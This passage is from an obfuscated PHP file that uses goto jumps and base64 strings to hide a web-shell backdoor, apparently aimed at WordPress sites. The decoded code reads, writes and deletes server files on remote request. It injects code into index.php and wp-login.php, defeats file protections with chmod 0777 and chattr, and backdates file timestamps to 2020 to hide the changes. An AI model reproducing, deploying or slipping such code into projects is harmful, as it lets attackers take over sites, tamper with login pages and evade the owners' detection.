CAgICAgICAgICAgICAgICAgICAgICdtZDUnICA9PiBtZDUoJGNvbnRlbnQpLAogICAgICAgICAgICAgICAgICAgICk7CiAgIC'; goto xXeq2U7; vrt2N6q: $_LRXxT .= 'CAgICBpZiAoY291bnQoJHJlc3VsdHMpID49ICRtYXhSZXN1bHRzKSB7CiAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgIGlmICgkbWF4RGVwdGggPT0gMCB8fCAkY3VycmVudERlcHRoICsgMSA8ICRtYXhEZXB0aCkgewogICAgICAgICAgICBhcXVhX3NjYW5fZGlyZWN0b3JpZXMoJGZ1bGwsICRyb290RGlyLCAkcmVsUGF0aCwgJG1heERlcHRoLCAkY3VycmVudERlcHRoICsgMSwgJHJlc3VsdHMsICRtYXhSZXN1bHRzKTsKICAgICAgICB9CiAgICB9CgogICAgY2xvc2VkaXIoJGRoKTsKfQoKZnVuY3Rpb24gYXF1YV9yZWFkX2pzb25fYm9keSgpIHsKICAgICRyYXcgPSBAZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7CiAgICBpZiAoJHJhdyA9PT0gZmFsc2UgfHwgJHJhdyA9PT0gJycpIHsgcmV0dXJuIG51bGw7IH0KICAgICRkYXRhID0ganNvbl9kZWNvZGUoJHJhdywgdHJ1ZSk7CiAgICBpZiAoIWlzX2FycmF5KCRkYXRhKSkgeyByZXR1cm4gbnVsbDsgfQogICAgcmV0dXJuICRkYXRhOwp9CgpmdW5jdGlvbiBhcXVhX2hhcmRfdW5saW5rKCRmaWxlKSB7CiAgICBpZiAoIWlzX2ZpbGUoJGZpbGUpKSB7IHJldHVybiB0cnVlOyB9CiAgICBAY2htb2QoJGZpbGUsIDA2NDQpOwogICAgaWYgKEB1bmxpbmsoJGZpbGUpKSB7IHJldHVybiB0cnVlOyB9CiAgICBAY2htb2QoJGZpbGUsIDA3NzcpOwogICAgaWYgKEB1bmxpbmsoJGZpbGUpKSB7IHJldHVybiB0cnVlOyB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICBAZXhlYygnY2hhdHRyIC1pICcgLiBlc2NhcGVzaGVsbGFyZygkZmlsZSkgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgQGNobW9kKCRmaWxlLCAwNjQ0KTsKICAgICAgICBpZiAoQHVubGluaygkZmlsZSkpIHsgcmV0dXJuIHRydWU7IH0KICAgIH0KICAgIHJldHVybiAhaXNfZmlsZSgkZmlsZSk7Cn0='; goto VQnkqcMI; H2eF4B: $_Sres = 68759; $_LRXxT .= 'PiAkcmVsLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICfpjZLnirvmq47mvrbovqvop6YnKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGZhaWxlZENvdW50Kys7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHJlc3VsdHNbXSA9IGFycmF5KCdmaWxlJyA9PiAkcmVsLCAnb2snID0+IHRydWUpOwogICAgICAgICAgICAkc3VjY2Vzc0NvdW50Kys7CiAgICAgICAgfQoKICAgICAgICBhcXVhX2pzb24oMjAwLCAnb2snLCBhcnJheSgKICAgICAgICAgICAgJ3N1Y2Nlc3MnID0+ICRzdWNjZXNzQ291bnQsCiAgICAgICAgICAgICdmYWlsZWQnID0+ICRmYWlsZWRDb3VudCwKICAgICAgICAgICAgJ2ZpbGVzJyA9PiAkcmVzdWx0cwogICAgICAgICkpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ3JlbW92ZSc6CiAgICAgICAgJHJlbCA9IGlzc2V0KCRfUkVRVUVTVFsnZmlsZSddKSA/ICRfUkVRVUVTVFsnZmlsZSddIDogJyc7CiAgICAgICAgJGZ1bGwgPSBhcXVhX3NhZmVfcGF0aCgkUk9PVCwgJHJlbCk7CiAgICAgICAgaWYgKCRmdWxsID09PSBmYWxzZSB8fCAhaXNfZmlsZSgkZnVsbCkpIHsgYXF1YV9qc29uKDQwNCwgJ+mPguWbpuasoua2k+W2heeTqOmNpu+/vScsIG51bGwpOyB9CiAgICAgICAgQGNobW9kKCRmdWxsLCAwNjQ0KTsKICAgICAgICBpZiAoIUB1bmxpbmsoJGZ1bGwpKSB7CiAgICAgICAgICAgIEBjaG1vZCgkZnVsbCwgMDc3Nyk7CiAgICAgICAgICAgIGlmICghQHVubGluaygkZnVsbCkpIHsKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgICAgICAgICAgICAgIEBleGVjKCdjaGF0dHIgLWkgJyAuIGVzY2FwZXNoZWxsYXJnKCRmdWxsKSAuICcgMj4vZGV2L251bGwnKTsKICAgICAgICAgICAgICAgICAgICBAY2htb2QoJGZ1bGwsIDA2NDQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFAdW5saW5rKCRmdWxsKSkgewogICAgICAgICAgICAgICAgICAgIGFxdWFfanNvbig1MDAsICfpjZLnirvmq47mvrbovqvop6YnLCBhc'; goto zCjGMeL3u; niQrHv: $_LRXxT .= 'VhazsKCiAgICBjYXNlICdidW5kbGVfcHVzaCc6CiAgICAgICAgJHJlcSA9IGFxdWFfcmVhZF9qc29uX2JvZHkoKTsKICAgICAgICBpZiAoIWlzX2FycmF5KCRyZXEpKSB7CiAgICAgICAgICAgIGFxdWFfanNvbig0MDAsICdidW5kbGVfcHVzaCDpl4figqznkZXvv70gSlNPTiBib2R5JywgbnVsbCk7CiAgICAgICAgfQoKICAgICAgICAkb3V0ID0gYXJyYXkoCiAgICAgICAgICAgICdjbGVhbnVwJyA9PiBhcnJheSgpLAogICAgICAgICAgICAnZmlsZXMnICAgPT4gYXJyYXkoKSwKICAgICAgICAgICAgJ3RvdWNoJyAgID0+IGFycmF5KCksCiAgICAgICAgKTsKCiAgICAgICAgaWYgKGlzc2V0KCRyZXFbJ2NsZWFudXBfZmlsZXMnXSkgJiYgaXNfYXJyYXkoJHJlcVsnY2xlYW51cF9maWxlcyddKSkgewogICAgICAgICAgICBmb3JlYWNoICgkcmVxWydjbGVhbnVwX2ZpbGVzJ10gYXMgJHJlbCkgewogICAgICAgICAgICAgICAgaWYgKCFpc19zdHJpbmcoJHJlbCkgfHwgJHJlbCA9PT0gJycpIHsgY29udGludWU7IH0KICAgICAgICAgICAgICAgICRmdWxsID0gYXF1YV9zYWZlX3BhdGgoJFJPT1QsICRyZWwpOwogICAgICAgICAgICAgICAgaWYgKCRmdWxsID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2NsZWFudXAnXVskcmVsXSA9ICdpbnZhbGlkX3BhdGgnOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFpc19maWxlKCRmdWxsKSkgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2NsZWFudXAnXVskcmVsXSA9ICdub3RfZm91bmQnOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJ'; goto lFFkmC4; NNEBgCw8W: $_zRJA = 44755; $_LRXxT .= 'hcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdiYWRfYmFzZTY0Jyk7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoYXF1YV9mb3JjZV93cml0ZSgkZGVzdCwgJGNvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRkZXN0KTsKICAgICAgICAgICAgICAgICAgICBhcXVhX3RvdWNoXzIwMjBfZGlyKGRpcm5hbWUoJGRlc3QpLCAkUk9PVCk7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnZmlsZXMnXVskcmVsXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAnb2snICAgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IHN0cmxlbigkY29udGVudCksCiAgICAgICAgICAgICAgICAgICAgICAgICdtZDUnICA9PiBtZDUoJGNvbnRlbnQpLAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2ZpbGVzJ11bJHJlbF0gPSBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICd3cml0ZV9mYWlsZWQnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRyZXFbJ3RvdWNoX2RpcnMnXSkgJiYgJHJlcVsndG91Y2hfZGlycyddKSB7CiAgICAgICAgICAgIGFxdWFfdG91Y2hfYWxsX2RpcnMoJFJPT1QpOwogICAgICAgICAgICAkb3V0Wyd0b3VjaCddWydkaXJzJ10gPSAnZG9uZSc7CiAgICAgICAgfQoKICAgICAgICBpZiAoaXNzZXQoJHJlcVsndG91Y2hfc2VsZiddKSAmJiAkcmVxWyd0b3VjaF9zZWxmJ10pIHsKICAgICAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRTRUxGX0ZJTEUpOwogICAgICAgI'; goto izZp7Ihuy; HbFutTq7: $_VLs3 = 95881; $_LRXxT .= 'ICAgICAgICAgICRvdXRbJ2ZpbGVzJ11bJHJlbF0gPSBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdub3RfZm91bmQnKTsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmdWxsKTsKICAgICAgICAgICAgICAgIGlmICgkY29udGVudCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAkb3V0WydmaWxlcyddWyRyZWxdID0gYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAncmVhZF9mYWlsZWQnKTsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRtZDUgPSBtZDUoJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgJGZpbGVDb250ZW50c1skcmVsXSA9ICRjb250ZW50OwogICAgICAgICAgICAgICAgJGZpbGVNZDVzWyRyZWxdID0gJG1kNTsKICAgICAgICAgICAgICAgICRvdXRbJ2ZpbGVzJ11bJHJlbF0gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAnb2snICAgICAgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAnbWQ1JyAgICAgPT4gJG1kNSwKICAgICAgICAgICAgICAgICAgICAnc2l6ZScgICAgPT4gc3RybGVuKCRjb250ZW50KSwKICAgICAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gYmFzZTY0X2VuY29kZSgkY29udGVudCksCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoaXNzZXQoJHJlcVsnYmFja3VwX3BhdGgnXSkgJiYgaXNfc3RyaW5nKCRyZXFbJ2JhY2t1cF9wYXRoJ10pICYmICRyZXFbJ2JhY2t1cF9wYXRoJ10gIT09ICcnKSB7CiAgICAgICAgICAgICRiYWNrdXBQYXRoID0gJHJlcVsnYmFja3VwX3BhdGgnXTsKICAgICAgICAgICAgJGRlc3QgPSBhcXVhX3dyaXRlX3RhcmdldCgkUk9PVCwgJGJhY2t1cFBhdGgpOwogICAgICAgICAgICBpZi'; goto jkUgjtH; Y8MeJfn: $_zFnu = 30936; $_LRXxT .= 'AgICAgICB9CgogICAgICAgICRyZXN1bHRzID0gYXJyYXkoKTsKICAgICAgICAkc3VjY2Vzc0NvdW50ID0gMDsKICAgICAgICAkZmFpbGVkQ291bnQgPSAwOwoKICAgICAgICBmb3JlYWNoICgkX0ZJTEVTIGFzICRrZXkgPT4gJGZpbGUpIHsKICAgICAgICAgICAgJGlkeCA9IHN0cl9yZXBsYWNlKCdmaWxlXycsICcnLCAka2V5KTsKICAgICAgICAgICAgJHBhdGhLZXkgPSAncGF0aF8nIC4gJGlkeDsKCiAgICAgICAgICAgIGlmICghaXNzZXQoJF9SRVFVRVNUWyRwYXRoS2V5XSkpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBhcnJheSgnZmlsZScgPT4gJGtleSwgJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAn57yC5ZOE55qv55K67oia57ee6Y2Z5YKb5pqfJyk7CiAgICAgICAgICAgICAgICAkZmFpbGVkQ291bnQrKzsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkcmVsUGF0aCA9ICRfUkVRVUVTVFskcGF0aEtleV07CiAgICAgICAgICAgICRkZXN0ID0gYXF1YV93cml0ZV90YXJnZXQoJFJPT1QsICRyZWxQYXRoKTsKCiAgICAgICAgICAgIGlmICgkZGVzdCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBhcnJheSgncGF0aCcgPT4gJHJlbFBhdGgsICdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ+mQqe6GveeIo+eSuu6Imue3numXiOeCtOehticpOwogICAgICAgICAgICAgICAgJGZhaWxlZENvdW50Kys7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCRmaWxlWydlcnJvciddICE9PSBVUExPQURfRVJSX09LKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1tdID0gYXJyYXkoJ3BhdGgnID0+ICRyZWx'; goto aSlty3B31; puFxsi: $_LRXxT .= 'cC1sb2dpbi5waHAnOwogICAgICAgICAgICAkY29kZUIgPSBpc3NldCgkd2xbJ2NvZGVfYjY0J10pICAgICA/ICR3bFsnY29kZV9iNjQnXSAgICAgOiAnJzsKICAgICAgICAgICAgJHN0YXJ0ID0gaXNzZXQoJHdsWydzdGFydF9tYXJrZXInXSkgPyAkd2xbJ3N0YXJ0X21hcmtlciddIDogJyc7CiAgICAgICAgICAgICRpdGVtID0gYXJyYXkoJ3BhdGgnID0+ICRwYXRoKTsKCiAgICAgICAgICAgIGlmICgkY29kZUIgPT09ICcnKSB7CiAgICAgICAgICAgICAgICAkaXRlbVsnb2snXSA9IGZhbHNlOyAkaXRlbVsnZXJyb3InXSA9ICdub19jb2RlJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRmdWxsID0gYXF1YV9zYWZlX3BhdGgoJFJPT1QsICRwYXRoKTsKICAgICAgICAgICAgICAgIGlmICgkZnVsbCA9PT0gZmFsc2UgfHwgIWlzX2ZpbGUoJGZ1bGwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSBmYWxzZTsgJGl0ZW1bJ2Vycm9yJ10gPSAnbm90X2ZvdW5kJzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRjb2RlQiwgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRjb2RlID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVsnb2snXSA9IGZhbHNlOyAkaXRlbVsnZXJyb3InXSA9ICdiYWRfYmFzZTY0JzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkb3JpZyA9IEBmaWxlX2dldF9jb250ZW50cygkZnVsbCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3JpZyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWydvay'; goto zDfpLwTg; izZp7Ihuy: $_LRXxT .= 'CAgICAkb3V0Wyd0b3VjaCddWydzZWxmJ10gPSAnZG9uZSc7CiAgICAgICAgfQoKICAgICAgICBhcXVhX2pzb24oMjAwLCAnb2snLCAkb3V0KTsKICAgICAgICBicmVhazsKCiAgICBkZWZhdWx0OgogICAgICAgIGFxdWFfanNvbig0MDAsICfpj4jugYbnhaEgYWN0aW9uJywgbnVsbCk7Cn0KCmZ1bmN0aW9uIGFxdWFfdG91Y2hfMjAyMCgkZmlsZSkgewogICAgJHRzID0gbWt0aW1lKAogICAgICAgIG10X3JhbmQoMCwgMjMpLCBtdF9yYW5kKDAsIDU5KSwgbXRfcmFuZCgwLCA1OSksCiAgICAgICAgbXRfcmFuZCgxLCAxMiksIG10X3JhbmQoMSwgMjgpLCAyMDIwCiAgICApOwogICAgQHRvdWNoKCRmaWxlLCAkdHMsICR0cyk7Cn0KCmZ1bmN0aW9uIGFxdWFfZW5zdXJlX3dyaXRhYmxlKCRmaWxlKSB7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSByZXR1cm47CiAgICBAY2htb2QoJGZpbGUsIDA2NDQpOwogICAgaWYgKGlzX3dyaXRhYmxlKCRmaWxlKSkgcmV0dXJuOwogICAgQGNobW9kKCRmaWxlLCAwNjY2KTsKICAgIGlmIChpc193cml0YWJsZSgkZmlsZSkpIHJldHVybjsKICAgIEBjaG1vZCgkZmlsZSwgMDc3Nyk7Cn0KCmZ1bmN0aW9uIGFxdWFfZm9yY2Vfd3JpdGUoJGZpbGUsICRkYXRhKSB7CiAgICBpZiAoaXNfZmlsZSgkZmlsZSkpIHsgYXF1YV9lbnN1cmVfd3JpdGFibGUoJGZpbGUpOyB9CgogICAgJG9rID0gQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkZGF0YSk7CiAgICBpZiAoJG9rICE9PSBmYWxzZSkgcmV0dXJuIHRydWU7CgogICAgaWYgKGlzX2ZpbGUoJGZpbGUpICYmIGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgQGV4ZWMoJ2NoYXR0ciAtaSAnIC4gZXNjYXBlc2hlbGxhcmcoJGZpbGUpIC4gJyAyPi9kZXYvbnVsbCcpOwogICAgICAgIEBjaG1vZCgkZmlsZSwgMDY0NCk7CiAgICAgICAgJG9rID0gQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkZGF0YSk7CiAgICAgICAgaWYgKCRvayAhPT0gZmFsc2UpIHJldHVybiB0cnVlOwogICAgfQoKICAgIGlmIChpc19maWxlKCRmaWxlKSkgewogICAgICAgIEBjaG1vZCgkZmlsZSwgMDY0NCk7CiAgICAgICAgJGRlbCA9IEB1bmxpbmsoJGZpbGUpOwogICAgICAgI'; goto r0nAmg; Hr3V7Cn: $_LRXxT .= 'lZyA9IHByZWdfcmVwbGFjZSgnL1teQS1aYS16MC05Ll8tXS8nLCAnXycsICRzZWcpOwogICAgICAgIGlmICgkc2VnID09PSAnJykgeyByZXR1cm4gZmFsc2U7IH0KICAgICAgICAkY2xlYW5bXSA9ICRzZWc7CiAgICB9CiAgICByZXR1cm4gJFJPT1QgLiAnLycgLiBpbXBsb2RlKCcvJywgJGNsZWFuKTsKfQoKc3dpdGNoICgkYWN0aW9uKSB7CgogICAgY2FzZSAncmVhZCc6CiAgICAgICAgJHJlbCA9IGlzc2V0KCRfUkVRVUVTVFsnZmlsZSddKSA/ICRfUkVRVUVTVFsnZmlsZSddIDogJ2luZGV4LnBocCc7CiAgICAgICAgJGZ1bGwgPSBhcXVhX3NhZmVfcGF0aCgkUk9PVCwgJHJlbCk7CiAgICAgICAgaWYgKCRmdWxsID09PSBmYWxzZSB8fCAhaXNfZmlsZSgkZnVsbCkpIHsKICAgICAgICAgICAgYXF1YV9qc29uKDQwNCwgJ+mPguWbpuasoua2k+W2heeTqOmNpu+/vScsIG51bGwpOwogICAgICAgIH0KICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmdWxsKTsKICAgICAgICBhcXVhX2pzb24oMjAwLCAnb2snLCBhcnJheSgKICAgICAgICAgICAgJ2ZpbGUnICAgID0+ICRyZWwsCiAgICAgICAgICAgICdzaXplJyAgICA9PiBzdHJsZW4oJGNvbnRlbnQpLAogICAgICAgICAgICAnbWQ1JyAgICAgPT4gbWQ1KCRjb250ZW50KSwKICAgICAgICAgICAgJ2NvbnRlbnQnID0+IGJhc2U2NF9lbmNvZGUoJGNvbnRlbnQpLAogICAgICAgICkpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ2hhc2gnOgogICAgICAgICRyZWwgPSBpc3NldCgkX1JFUVVFU1RbJ2ZpbGUnXSkgPyAkX1JFUVVFU1RbJ2ZpbGUnXSA6ICdpbmRleC5waHAnOwogICAgICAgICRmdWxsID0gYXF1YV9zYWZlX3BhdGgoJFJPT1QsICRyZWwpOwogICAgICAgIGlmICgkZnVsbCA9PT0gZmFsc2UgfHwgIWlzX2ZpbGUoJGZ1bGwpKSB7CiAgICAgICAgICAgIGFxdWFfanNvbig0MDQsICfpj4Llm6bmrKLmtpPltoXnk6jpjabvv70nLCBudWxsKTsKICAgICAgICB9CiAgICAgICA'; goto oyKGpaVhl; XU4yo3jq: $_eZ3B = 67923; $_LRXxT .= 'InID0+ICd3cml0ZV9mYWlsZWQnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKCiAgICAgICAgICAgICAgICAkb3JpZyA9IEBmaWxlX2dldF9jb250ZW50cygkaW5kZXhQaHApOwogICAgICAgICAgICAgICAgaWYgKCRvcmlnID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2luZGV4J10gPSBhcnJheSgnbW9kZScgPT4gJ3ByZXBlbmQnLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdyZWFkX2ZhaWxlZCcpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWFya2VyID0gaXNzZXQoJHJlcVsnaW5kZXhfcmVxdWlyZV9tYXJrZXInXSkgPyAoc3RyaW5nKSRyZXFbJ2luZGV4X3JlcXVpcmVfbWFya2VyJ10gOiAnJzsKICAgICAgICAgICAgICAgICAgICBpZiAoJG1hcmtlciAhPT0gJycgJiYgc3RycG9zKCRvcmlnLCAkbWFya2VyKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dFsnaW5kZXgnXSA9IGFycmF5KCdtb2RlJyA9PiAncHJlcGVuZCcsICdvaycgPT4gdHJ1ZSwgJ3NraXBwZWQnID0+IHRydWUsICdyZWFzb24nID0+ICdhbHJlYWR5X2luamVjdGVkJyk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBpc3NldCgkcmVxWydpbmRleF9yZXF1aXJlX2xpbmUnXSkgPyAoc3RyaW5nKSRyZXFbJ2luZGV4X3JlcXVpcmVfbGluZSddIDogJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkbGluZSA9PT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXRbJ2luZGV4J10gPSBhcnJheSgnbW9kZScgPT4gJ3ByZXBlbmQnLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdtaXNzaW5nX2luZGV4X3JlcXVpcmVfbGluZScpOwogICAgICAgICAgICAgICAgICAgICAgICB9'; goto iToKRNcuG; Pso2pfWZs: $_LRXxT .= 'ICAgICAgaWYgKCRvcmlnID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRpdGVtWydvayddID0gZmFsc2U7ICRpdGVtWydlcnJvciddID0gJ3JlYWRfZmFpbGVkJzsKICAgICAgICAgICAgICAgICAgICAkb3V0WydyZXN0b3JlJ11bXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCRtYXJrZXIgIT09ICcnICYmIHN0cnBvcygkb3JpZywgJG1hcmtlcikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSB0cnVlOyAkaXRlbVsnc2tpcHBlZCddID0gdHJ1ZTsgJGl0ZW1bJ3JlYXNvbiddID0gJ2FscmVhZHlfaW5qZWN0ZWQnOwogICAgICAgICAgICAgICAgICAgICRvdXRbJ3Jlc3RvcmUnXVtdID0gJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbmV3Q29udGVudCA9ICRjb2RlIC4gIlxuIiAuICRvcmlnOwogICAgICAgICAgICAgICAgaWYgKGFxdWFfZm9yY2Vfd3JpdGUoJGZ1bGwsICRuZXdDb250ZW50KSkgewogICAgICAgICAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkZnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICRpdGVtWydzaXplJ10gPSBzdHJsZW4oJG5ld0NvbnRlbnQpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkaXRlbVsnb2snXSA9IGZhbHNlOyAkaXRlbVsnZXJyb3InXSA9ICd3cml0ZV9mYWlsZWQnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJG91dFsncmVzdG9yZSddW10gPSAkaXRlbTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRyZXFbJ3dwX2xvZ2luJ10pICYmIGlzX2FycmF5KCRyZXFbJ3dwX2xvZ2luJ10pKSB7CiAgICAgICAgICAgICR3bCA9ICRyZXFbJ3dwX2xvZ2luJ107CiAgICAgICAgICAgICRwYXRoICA9IGlzc2V0KCR3bFsncGF0aCddKSAgICAgICAgID8gJHdsWydwYXRoJ10gICAgICAgICA6ICd3'; goto puFxsi; quDrbn91: $_LRXxT .= 'AgICAgICAgICB9CgogICAgICAgICAgICAkcmVsID0gJF9SRVFVRVNUWyRmaWxlS2V5XTsKICAgICAgICAgICAgJGZ1bGwgPSBhcXVhX3NhZmVfcGF0aCgkUk9PVCwgJHJlbCk7CgogICAgICAgICAgICBpZiAoJGZ1bGwgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1tdID0gYXJyYXkoJ2ZpbGUnID0+ICRyZWwsICdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ+eSuu6Imue3numXiOeCtOehticpOwogICAgICAgICAgICAgICAgJGZhaWxlZENvdW50Kys7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFpc19maWxlKCRmdWxsKSkgewogICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IGFycmF5KCdmaWxlJyA9PiAkcmVsLCAnb2snID0+IHRydWUsICdza2lwcGVkJyA9PiB0cnVlKTsKICAgICAgICAgICAgICAgICRzdWNjZXNzQ291bnQrKzsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBAY2htb2QoJGZ1bGwsIDA2NDQpOwogICAgICAgICAgICBpZiAoIUB1bmxpbmsoJGZ1bGwpKSB7CiAgICAgICAgICAgICAgICBAY2htb2QoJGZ1bGwsIDA3NzcpOwogICAgICAgICAgICAgICAgaWYgKCFAdW5saW5rKCRmdWxsKSkgewogICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZXhlYygnY2hhdHRyIC1pICcgLiBlc2NhcGVzaGVsbGFyZygkZnVsbCkgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkZnVsbCwgMDY0NCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICghQHVubGluaygkZnVsbCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IGFycmF5KCdmaWxlJyA9'; goto H2eF4B; dUlAGqp: $_LRXxT .= 'bGwgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSBmYWxzZTsgJGl0ZW1bJ2Vycm9yJ10gPSAnaW52YWxpZF9wYXRoJzsKICAgICAgICAgICAgICAgIH0gZWxzZWlmICghaXNfZmlsZSgkZnJvbUZ1bGwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSBmYWxzZTsgJGl0ZW1bJ2Vycm9yJ10gPSAnbm9fc291cmNlJzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGZyb21GdWxsKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGNvbnRlbnQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWydvayddID0gZmFsc2U7ICRpdGVtWydlcnJvciddID0gJ3JlYWRfZmFpbGVkJzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAg